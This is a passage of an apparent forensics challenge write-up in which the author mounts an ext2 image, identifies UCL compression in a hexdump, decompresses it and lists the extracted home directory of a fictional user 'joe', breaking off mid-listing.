[zoidberg@/dev/null:~/SMP/CH4 ] $ mkdir mnt<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ sudo mount -t ext2 -o loop FS mnt/<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ ls<br />
total 93692<br />
-rw-r--r-- 1 zoidberg zoidberg 15185973 2010-07-10 00:41 forensic1-image<br />
-rw-r--r-- 1 zoidberg zoidberg 65560576 2010-06-30 02:52 FS<br />
-rw-r--r-- 1 zoidberg zoidberg 15185920 2010-06-30 02:53 FS.tar<br />
drwxr-xr-x 3 root   root       4096 2010-06-30 02:50 mnt<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ ls mnt/<br />
total 15392<br />
-rw-r--r-- 1 root root 15723366 2010-06-30 02:50 forensic_image<br />
drwx------ 2 root root    16384 2010-06-30 02:42 lost+found<br />
</code><br />
After I mounted the filesystem I was left with yet another forensic_image file, there was nothing in the lost+found directory.  So lets investigate this forensic_image:<br />
<code><br />
[zoidberg@/dev/null:/mnt ] $ file forensic_image<br />
forensic_image: data<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4/mnt ] $ hexdump -C forensic_image  |head<br />
00000000  00 e9 55 43 4c ff 01 1a  00 00 00 01 2d 07 00 04  |..UCL.......-...|   &lt;--- UCL!!<br />
00000010  00 00 00 04 00 00 00 04  00 00 6a 6f 65 2f 00 00  |..........joe/..|<br />
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|<br />
*<br />
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 30 30  |..............00|<br />
00000080  30 30 37 35 35 00 30 30  30 31 37 35 33 00 30 30  |00755.0001753.00|<br />
00000090  30 31 37 35 35 00 30 30  30 30 30 30 30 30 30 30  |01755.0000000000|<br />
000000a0  30 00 31 31 34 31 32 35  31 35 32 30 30 00 30 30  |0.11412515200.00|<br />
000000b0  37 37 34 36 00 20 35 00  00 00 00 00 00 00 00 00  |7746. 5.........|<br />
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|<br />
</code><br />
OK so, it seemed like a data file, checking it with hexdump utility gives us a little hint as to what type of file this is.  UCL is a compression library, more information and the tools to enable you to decompress these files are available from <a href="http://www.oberhumer.com/opensource/ucl/">here</a>.  So lets see whats inside it:<br />
<code><br />
[root@/dev/null:~/SMP/CH4 ] $ ./uclpack -d forensic_image uclunpacked-image<br />
</code><code><br />
UCL data compression library (v1.03, Jul 20 2004).<br />
Copyright (C) 1996-2004 Markus Franz Xaver Johannes Oberhumer</p>
<p>http://www.oberhumer.com/opensource/ucl/</p>
<p></code><code><br />
uclpack: block-size is 262144 bytes<br />
uclpack: decompressed 15723366 into 31989760 bytes<br />
</code><code><br />
[root@/dev/null:~/SMP/CH4 ] $ ls<br />
total 124940<br />
-rw-r--r-- 1 zoidberg zoidberg 15185973 2010-07-10 00:41 forensic1-image<br />
-rw-r--r-- 1 zoidberg zoidberg     4415 2010-07-13 13:18 forensic-writeup<br />
-rw-r--r-- 1 zoidberg zoidberg 65560576 2010-06-30 02:52 FS<br />
-rw-r--r-- 1 zoidberg zoidberg 15185920 2010-06-30 02:53 FS.tar<br />
drwxr-xr-x 3 root   root       4096 2010-06-30 02:50 mnt<br />
-rw-r--r-- 1 root   root   31989760 2010-07-13 13:26 uclunpacked-image<br />
</code><code><br />
[root@/dev/null:~/SMP/CH4 ] $ file uclunpacked-image<br />
uclunpacked-image: POSIX tar archive (GNU)<br />
</code><br />
Ok so, back to another tar archive, lets extract it and see what we have:<br />
<code><br />
[zoidberg@/dev/null:~/FORENSICS ] $ sudo tar xvf uclunpacked-image.tar<br />
joe/<br />
joe/.dbus/<br />
joe/.dbus/session-bus/<br />
joe/.dbus/session-bus/9588dbce1fca58830d10168a4aba6077-2<br />
joe/.dbus/session-bus/9588dbce1fca58830d10168a4aba6077-1<br />
joe/Public/<br />
joe/.bashrc<br />
joe/examples.desktop<br />
joe/.fontconfig/<br />
joe/.fontconfig/10b13308be32295bb2869d1e42a8fb41-x86.cache-2<br />
joe/Downloads/<br />
joe/Downloads/hackerFiles/<br />
joe/Downloads/hackerFiles/ntfs-hidden-data-analysis.pdf<br />
joe/.nautilus/<br />
joe/.xine/<br />
joe/.xine/catalog.cache<br />
joe/.ssh/<br />
joe/.config/<br />
joe/.config/gnome-disk-utility/<br />
joe/.config/gnome-disk-utility/ata-smart-ignore/<br />
joe/.config/compiz/<br />
joe/.config/compiz/compizconfig/<br />
joe/.config/compiz/compizconfig/config<br />
joe/.config/user-dirs.locale<br />
joe/.config/gnome-session/<br />
joe/.config/gnome-session/saved-session/<br />
joe/.config/user-dirs.dirs<br />
joe/.config/gtk-2.0/<br />
joe/.config/gtk-2.0/gtkfilechooser.ini<br />
joe/network_sniff.pcap<br />
joe/.pulse/<br />
joe/.pulse/9588dbce1fca58830d10168a4aba6077-runtime<br />
joe/.pulse/9588dbce1fca58830d10168a4aba6077-stream-volumes.tdb<br />
joe/.pulse/9588dbce1fca58830d10168a4aba6077-device-volumes.tdb<br />
joe/.pulse/9588dbce1fca58830d10168a4aba6077-card-database.tdb<br />
joe/.pulse/9588dbce1fca58830d10168a4aba6077-default-source<br />
joe/.pulse/9588dbce1fca58830d10168a4aba6077-default-sink<br />
joe/.compiz/<br />
joe/.compiz/session/<br />
joe/.compiz/session/1025d49d578b178380127463786965591400000185720025<br />
joe/.compiz/session/10273bd0f849d10abc127465244339743600000011830025<br />
joe/.bash_history<br />
joe/.profile<br />
joe/.gvfs/<br />
joe/.gnupg/<br />
joe/.gnupg/random_seed<br />
joe/.gnupg/pubring.gpg<br />
joe/.gnupg/secring.gpg<br />
joe/.gnupg/pubring.gpg~<br />
joe/.gnupg/trustdb.gpg<br />
joe/.gnupg/gpg.conf<br />
joe/.ICEauthority<br />
joe/JoeHackerPrivate.gpg<br />
joe/.gegl-0.0/<br />
joe/.gegl-0.0/plug-ins/<br />
joe/.gegl-0.0/plug-ins/Makefile<br />
joe/.gegl-0.0/swap/<br />
joe/Music/<br />
joe/.gconf/<br />
joe/.gconf/desktop/<br />
joe/.gconf/desktop/%gconf.xml<br />
joe/.gconf/desktop/gnome/<br />
joe/.gconf/desktop/gnome/peripherals/<br />
joe/.gconf/desktop/gnome/peripherals/keyboard/<br />
joe/.gconf/desktop/gnome/peripherals/keyboard/%gconf.xml<br />
joe/.gconf/desktop/gnome/peripherals/keyboard/kbd/<br />
joe/.gconf/desktop/gnome/peripherals/keyboard/kbd/%gconf.xml<br />
joe/.gconf/desktop/gnome/peripherals/%gconf.xml<br />
joe/.gconf/desktop/gnome/peripherals/touchpad/<br />
joe/.gconf/desktop/gnome/peripherals/touchpad/%gconf.xml<br />
joe/.gconf/desktop/gnome/accessibility/<br />
joe/.gconf/desktop/gnome/accessibility/keyboard/<br />
joe/.gconf/desktop/gnome/accessibility/keyboard/%gconf.xml<br />
joe/.gconf/desktop/gnome/accessibility/%gconf.xml<br />
joe/.gconf/desktop/gnome/applications/<br />
joe/.gconf/desktop/gnome/applications/%gconf.xml<br />
joe/.gconf/desktop/gnome/applications/window_manager/<br />
joe/.gconf/desktop/gnome/applications/window_manager/%gconf.xml<br />
joe/.gconf/desktop/gnome/%gconf.xml<br />
joe/.gconf/apps/<br />
joe/.gconf/apps/gnome-terminal/<br />
joe/.gconf/apps/gnome-terminal/%gconf.xml<br />
joe/.gconf/apps/gnome-terminal/profiles/<br />
joe/.gconf/apps/gnome-terminal/profiles/Default/<br />
joe/.gconf/apps/gnome-terminal/profiles/Default/%gconf.xml<br />
joe/.gconf/apps/gnome-terminal/profiles/%gconf.xml<br />
joe/.gconf/apps/gedit-2/<br />
joe/.gconf/apps/gedit-2/%gconf.xml<br />
joe/.gconf/apps/gedit-2/preferences/<br />
joe/.gconf/apps/gedit-2/preferences/%gconf.xml<br />
joe/.gconf/apps/gedit-2/preferences/ui/<br />
joe/.gconf/apps/gedit-2/preferences/ui/statusbar/<br />
joe/.gconf/apps/gedit-2/preferences/ui/statusbar/%gconf.xml<br />
joe/.gconf/apps/gedit-2/preferences/ui/%gconf.xml<br />
joe/.gconf/apps/gedit-2/plugins/<br />
joe/.gconf/apps/gedit-2/plugins/filebrowser/<br />
joe/.gconf/apps/gedit-2/plugins/filebrowser/%gconf.xml<br />
joe/.gconf/apps/gedit-2/plugins/filebrowser/on_load/<br />
joe/.gconf/apps/gedit-2/plugins/filebrowser/on_load/%gconf.xml<br />
joe/.gconf/apps/gedit-2/plugins/%gconf.xml<br />
joe/.gconf/apps/compiz/<br />
joe/.gconf/apps/compiz/general/<br />
joe/.gconf/apps/compiz/general/allscreens/<br />
joe/.gconf/apps/compiz/general/allscreens/%gconf.xml<br />
joe/.gconf/apps/compiz/general/allscreens/options/<br />
joe/.gconf/apps/compiz/general/allscreens/options/%gconf.xml<br />
joe/.gconf/apps/compiz/general/%gconf.xml<br />
joe/.gconf/apps/compiz/%gconf.xml<br />
joe/.gconf/apps/nautilus/<br />
joe/.gconf/apps/nautilus/desktop-metadata/<br />
joe/.gconf/apps/nautilus/desktop-metadata/%gconf.xml<br />
joe/.gconf/apps/nautilus/desktop-metadata/directory/<br />
joe/.gconf/apps/nautilus/desktop-metadata/directory/%gconf.xml<br />
joe/.gconf/apps/nautilus/%gconf.xml<br />
joe/.gconf/apps/nautilus/preferences/<br />
joe/.gconf/apps/nautilus/preferences/%gconf.xml<br />
joe/.gconf/apps/panel/<br />
joe/.gconf/apps/panel/general/<br />
joe/.gconf/apps/panel/general/%gconf.xml<br />
joe/.gconf/apps/panel/objects/<br />
joe/.gconf/apps/panel/objects/menu_bar_screen0/<br />
joe/.gconf/apps/panel/objects/menu_bar_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/objects/browser_launcher_screen0/<br />
joe/.gconf/apps/panel/objects/browser_launcher_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/objects/yelp_launcher_screen1/<br />
joe/.gconf/apps/panel/objects/yelp_launcher_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/objects/%gconf.xml<br />
joe/.gconf/apps/panel/objects/menu_bar_screen1/<br />
joe/.gconf/apps/panel/objects/menu_bar_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/objects/yelp_launcher_screen0/<br />
joe/.gconf/apps/panel/objects/yelp_launcher_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/objects/browser_launcher_screen1/<br />
joe/.gconf/apps/panel/objects/browser_launcher_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen1/<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen1/background/<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen1/background/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen0/<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen0/background/<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen0/background/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/bottom_panel_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen1/<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen1/background/<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen1/background/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen0/<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen0/background/<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen0/background/%gconf.xml<br />
joe/.gconf/apps/panel/toplevels/top_panel_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/%gconf.xml<br />
joe/.gconf/apps/panel/applets/<br />
joe/.gconf/apps/panel/applets/show_desktop_button_screen1/<br />
joe/.gconf/apps/panel/applets/show_desktop_button_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/notification_area_screen1/<br />
joe/.gconf/apps/panel/applets/notification_area_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/show_desktop_button_screen0/<br />
joe/.gconf/apps/panel/applets/show_desktop_button_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/notification_area_screen0/<br />
joe/.gconf/apps/panel/applets/notification_area_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/trashapplet_screen1/<br />
joe/.gconf/apps/panel/applets/trashapplet_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/%gconf.xml<br />
joe/.gconf/apps/panel/applets/indicator_applet_screen1/<br />
joe/.gconf/apps/panel/applets/indicator_applet_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/window_list_screen1/<br />
joe/.gconf/apps/panel/applets/window_list_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/window_list_screen1/prefs/<br />
joe/.gconf/apps/panel/applets/window_list_screen1/prefs/%gconf.xml<br />
joe/.gconf/apps/panel/applets/clock_screen1/<br />
joe/.gconf/apps/panel/applets/clock_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/clock_screen1/prefs/<br />
joe/.gconf/apps/panel/applets/clock_screen1/prefs/%gconf.xml<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen1/<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen1/prefs/<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen1/prefs/%gconf.xml<br />
joe/.gconf/apps/panel/applets/indicator_applet_screen0/<br />
joe/.gconf/apps/panel/applets/indicator_applet_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen0/<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen0/prefs/<br />
joe/.gconf/apps/panel/applets/workspace_switcher_screen0/prefs/%gconf.xml<br />
joe/.gconf/apps/panel/applets/fast_user_switch_screen0/<br />
joe/.gconf/apps/panel/applets/fast_user_switch_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/fast_user_switch_screen1/<br />
joe/.gconf/apps/panel/applets/fast_user_switch_screen1/%gconf.xml<br />
joe/.gconf/apps/panel/applets/trashapplet_screen0/<br />
joe/.gconf/apps/panel/applets/trashapplet_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/window_list_screen0/<br />
joe/.gconf/apps/panel/applets/window_list_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/window_list_screen0/prefs/<br />
joe/.gconf/apps/panel/applets/window_list_screen0/prefs/%gconf.xml<br />
joe/.gconf/apps/panel/applets/clock_screen0/<br />
joe/.gconf/apps/panel/applets/clock_screen0/%gconf.xml<br />
joe/.gconf/apps/panel/applets/clock_screen0/prefs/<br />
joe/.gconf/apps/panel/applets/clock_screen0/prefs/%gconf.xml<br />
joe/.gconf/apps/%gconf.xml<br />
joe/.gconf/apps/seahorse/<br />
joe/.gconf/apps/seahorse/%gconf.xml<br />
joe/.gconf/apps/seahorse/windows/<br />
joe/.gconf/apps/seahorse/windows/%gconf.xml<br />
joe/.gconf/apps/seahorse/listing/<br />
joe/.gconf/apps/seahorse/listing/%gconf.xml<br />
joe/.gconf/apps/evolution/<br />
joe/.gconf/apps/evolution/%gconf.xml<br />
joe/.gconf/apps/evolution/calendar/<br />
joe/.gconf/apps/evolution/calendar/%gconf.xml<br />
joe/.gconf/apps/evolution/calendar/notify/<br />
joe/.gconf/apps/evolution/calendar/notify/%gconf.xml<br />
joe/.gconf/apps/brasero/<br />
joe/.gconf/apps/brasero/%gconf.xml<br />
joe/.gconf/apps/brasero/config/<br />
joe/.gconf/apps/brasero/config/priority/<br />
joe/.gconf/apps/brasero/config/priority/%gconf.xml<br />
joe/.gconf/apps/brasero/config/%gconf.xml<br />
joe/Pictures/<br />
joe/Pictures/logo.gif<br />
joe/Pictures/chuck_norris_random_fact_generator_6_3957_2224_image_2561.jpg<br />
joe/Pictures/chuck_norris_random_fact_generator_6_3957_2224_image_2578.jpg<br />
joe/Pictures/funny_421.jpg<br />
joe/.esd_auth<br />
joe/.xsession-errors<br />
joe/.gtk-bookmarks<br />
joe/.mozilla/<br />
joe/.mozilla/firefox/<br />
joe/.mozilla/firefox/profiles.ini<br />
joe/.mozilla/firefox/ji5h5a20.default/<br />
joe/.mozilla/firefox/ji5h5a20.default/compreg.dat<br />
joe/.mozilla/firefox/ji5h5a20.default/chrome/<br />
joe/.mozilla/firefox/ji5h5a20.default/chrome/userContent-example.css<br />
joe/.mozilla/firefox/ji5h5a20.default/chrome/userChrome-example.css<br />
joe/.mozilla/firefox/ji5h5a20.default/mimeTypes.rdf<br />
joe/.mozilla/firefox/ji5h5a20.default/key3.db<br />
joe/.mozilla/firefox/ji5h5a20.default/compatibility.ini<br />
joe/.mozilla/firefox/ji5h5a20.default/XPC.mfasl<br />
joe/.mozilla/firefox/ji5h5a20.default/cert8.db<br />
joe/.mozilla/firefox/ji5h5a20.default/pluginreg.dat<br />
joe/.mozilla/firefox/ji5h5a20.default/extensions/<br />
joe/.mozilla/firefox/ji5h5a20.default/formhistory.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/extensions.ini<br />
joe/.mozilla/firefox/ji5h5a20.default/downloads.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/search.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/places.sqlite-journal<br />
joe/.mozilla/firefox/ji5h5a20.default/urlclassifierkey3.txt<br />
joe/.mozilla/firefox/ji5h5a20.default/signons.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/extensions.rdf<br />
joe/.mozilla/firefox/ji5h5a20.default/prefs.js<br />
joe/.mozilla/firefox/ji5h5a20.default/search.json<br />
joe/.mozilla/firefox/ji5h5a20.default/secmod.db<br />
joe/.mozilla/firefox/ji5h5a20.default/.parentlock<br />
joe/.mozilla/firefox/ji5h5a20.default/cookies.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/bookmarks.html<br />
joe/.mozilla/firefox/ji5h5a20.default/localstore.rdf<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/_CACHE_003_<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/2A32E8DAd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/BD3457DEd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/3954CE6Ed01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/2F85709Ad01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/47445552d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/E0A9A442d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/611C9EECd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/5634D1F9d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/5B0122ACd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/6B8C2D8Ed01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/A843C8B8d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/47C815E0d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/A8A78C65d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/0F03B2C5d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/D7DFB6FAd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/_CACHE_002_<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/A718913Ad01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/60F3724Bd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/6D7313F3d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/EAE50599d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/1BB76077d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/FCC698B7d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/0B66D1E4d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/2B2A6EB8d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/8E40E94Fd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/A1FB26EBd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/F9D7526Fd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/1F9212B5d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/4E25B9B1d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/BC64C5CFd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/6A26639Ad01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/35B9FFA4d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/67C3D603d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/6FD58703d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/323F825Dd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/24ABAC5Ed01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/1AE4C69Dd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/_CACHE_001_<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/ED38E2E7d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/A9D1B795d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/1F09BCFDd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/E7A5F3EFd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/F9D0526Fd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/1FF0F532d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/63B1734Bd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/36A05174d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/E461A381d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/444225A7d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/642BEFBCd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/0509B832d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/75687CC9d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/D96BCE28d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/BE437AE0d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/_CACHE_MAP_<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/D97B28E1d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/4B46226Fd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/F5C1B0B4d01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/A4B02E4Bd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/F0FDAB5Ad01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/582030EBd01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/A842CB0Ed01<br />
joe/.mozilla/firefox/ji5h5a20.default/Cache/DBA2D3E0d01<br />
joe/.mozilla/firefox/ji5h5a20.default/xpti.dat<br />
joe/.mozilla/firefox/ji5h5a20.default/XUL.mfasl<br />
joe/.mozilla/firefox/ji5h5a20.default/permissions.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/bookmarkbackups/<br />
joe/.mozilla/firefox/ji5h5a20.default/bookmarkbackups/bookmarks-2010-05-23.json<br />
joe/.mozilla/firefox/ji5h5a20.default/urlclassifier3.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/places.sqlite<br />
joe/.mozilla/firefox/ji5h5a20.default/extensions.cache<br />
joe/.mozilla/firefox/ji5h5a20.default/content-prefs.sqlite<br />
joe/.mozilla/extensions/<br />
joe/.mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/<br />
joe/Desktop/<br />
joe/Joe Hacker.asc<br />
joe/.macromedia/<br />
joe/.macromedia/Flash_Player/<br />
joe/.macromedia/Flash_Player/macromedia.com/<br />
joe/.macromedia/Flash_Player/macromedia.com/support/<br />
joe/.macromedia/Flash_Player/macromedia.com/support/flashplayer/<br />
joe/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/<br />
joe/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/#www.smilebox.com/<br />
joe/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/#www.smilebox.com/settings.sol<br />
joe/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/settings.sol<br />
joe/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/#smilebox.com/<br />
joe/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/#smilebox.com/settings.sol<br />
joe/.macromedia/Flash_Player/#SharedObjects/<br />
joe/.macromedia/Flash_Player/#SharedObjects/TLHF5ZK7/<br />
joe/.macromedia/Flash_Player/#SharedObjects/TLHF5ZK7/www.smilebox.com/<br />
joe/.macromedia/Flash_Player/#SharedObjects/TLHF5ZK7/www.smilebox.com/smilebox_webusage.sol<br />
joe/.macromedia/Flash_Player/#SharedObjects/TLHF5ZK7/smilebox.com/<br />
joe/.macromedia/Flash_Player/#SharedObjects/TLHF5ZK7/smilebox.com/smilebox_clientproperties.sol<br />
joe/.cache/<br />
joe/.cache/gedit/<br />
joe/.cache/gedit/gedit-metadata.xml<br />
joe/.cache/compizconfig/<br />
joe/.cache/compizconfig/ezoom.pb<br />
joe/.cache/compizconfig/loginout.pb<br />
joe/.cache/compizconfig/titleinfo.pb<br />
joe/.cache/compizconfig/commands.pb<br />
joe/.cache/compizconfig/gears.pb<br />
joe/.cache/compizconfig/switcher.pb<br />
joe/.cache/compizconfig/obs.pb<br />
joe/.cache/compizconfig/session.pb<br />
joe/.cache/compizconfig/splash.pb<br />
joe/.cache/compizconfig/shelf.pb<br />
joe/.cache/compizconfig/reflex.pb<br />
joe/.cache/compizconfig/wobbly.pb<br />
joe/.cache/compizconfig/svg.pb<br />
joe/.cache/compizconfig/core.pb<br />
joe/.cache/compizconfig/wallpaper.pb<br />
joe/.cache/compizconfig/inotify.pb<br />
joe/.cache/compizconfig/mblur.pb<br />
joe/.cache/compizconfig/bicubic.pb<br />
joe/.cache/compizconfig/crashhandler.pb<br />
joe/.cache/compizconfig/extrawm.pb<br />
joe/.cache/compizconfig/scaleaddon.pb<br />
joe/.cache/compizconfig/scale.pb<br />
joe/.cache/compizconfig/snap.pb<br />
joe/.cache/compizconfig/showdesktop.pb<br />
joe/.cache/compizconfig/colorfilter.pb<br />
joe/.cache/compizconfig/resize.pb<br />
joe/.cache/compizconfig/blur.pb<br />
joe/.cache/compizconfig/bench.pb<br />
joe/.cache/compizconfig/firepaint.pb<br />
joe/.cache/compizconfig/dbus.pb<br />
joe/.cache/compizconfig/screenshot.pb<br />
joe/.cache/compizconfig/cubeaddon.pb<br />
joe/.cache/compizconfig/zoom.pb<br />
joe/.cache/compizconfig/regex.pb<br />
joe/.cache/compizconfig/rotate.pb<br />
joe/.cache/compizconfig/put.pb<br />
joe/.cache/compizconfig/text.pb<br />
joe/.cache/compizconfig/workarounds.pb<br />
joe/.cache/compizconfig/widget.pb<br />
joe/.cache/compizconfig/fade.pb<br />
joe/.cache/compizconfig/ring.pb<br />
joe/.cache/compizconfig/water.pb<br />
joe/.cache/compizconfig/mousepoll.pb<br />
joe/.cache/compizconfig/mag.pb<br />
joe/.cache/compizconfig/grid.pb<br />
joe/.cache/compizconfig/staticswitcher.pb<br />
joe/.cache/compizconfig/thumbnail.pb<br />
joe/.cache/compizconfig/vpswitch.pb<br />
joe/.cache/compizconfig/animationaddon.pb<br />
joe/.cache/compizconfig/place.pb<br />
joe/.cache/compizconfig/fs.pb<br />
joe/.cache/compizconfig/winrules.pb<br />
joe/.cache/compizconfig/maximumize.pb<br />
joe/.cache/compizconfig/gnomecompat.pb<br />
joe/.cache/compizconfig/annotate.pb<br />
joe/.cache/compizconfig/opacify.pb<br />
joe/.cache/compizconfig/fadedesktop.pb<br />
joe/.cache/compizconfig/imgjpeg.pb<br />
joe/.cache/compizconfig/scalefilter.pb<br />
joe/.cache/compizconfig/kdecompat.pb<br />
joe/.cache/compizconfig/shift.pb<br />
joe/.cache/compizconfig/trailfocus.pb<br />
joe/.cache/compizconfig/expo.pb<br />
joe/.cache/compizconfig/3d.pb<br />
joe/.cache/compizconfig/decoration.pb<br />
joe/.cache/compizconfig/png.pb<br />
joe/.cache/compizconfig/animation.pb<br />
joe/.cache/compizconfig/neg.pb<br />
joe/.cache/compizconfig/resizeinfo.pb<br />
joe/.cache/compizconfig/group.pb<br />
joe/.cache/compizconfig/cube.pb<br />
joe/.cache/compizconfig/move.pb<br />
joe/.cache/compizconfig/addhelper.pb<br />
joe/.cache/compizconfig/showmouse.pb<br />
joe/.cache/compizconfig/glib.pb<br />
joe/.cache/compizconfig/minimize.pb<br />
joe/.cache/compizconfig/video.pb<br />
joe/.cache/compizconfig/wall.pb<br />
joe/.cache/compizconfig/clone.pb<br />
joe/.cache/notify-osd.log<br />
joe/.cache/vlc/<br />
joe/.cache/vlc/CACHEDIR.TAG<br />
joe/.cache/vlc/plugins-04041e.dat<br />
joe/.cache/event-sound-cache.tdb.9588dbce1fca58830d10168a4aba6077.i486-pc-linux-gnu<br />
joe/.gnome2/<br />
joe/.gnome2/accels/<br />
joe/.gnome2/accels/gedit<br />
joe/.gnome2/accels/nautilus<br />
joe/.gnome2/gedit/<br />
joe/.gnome2/gedit/gedit-2<br />
joe/.gnome2/nautilus-scripts/<br />
joe/.gnome2/keyrings/<br />
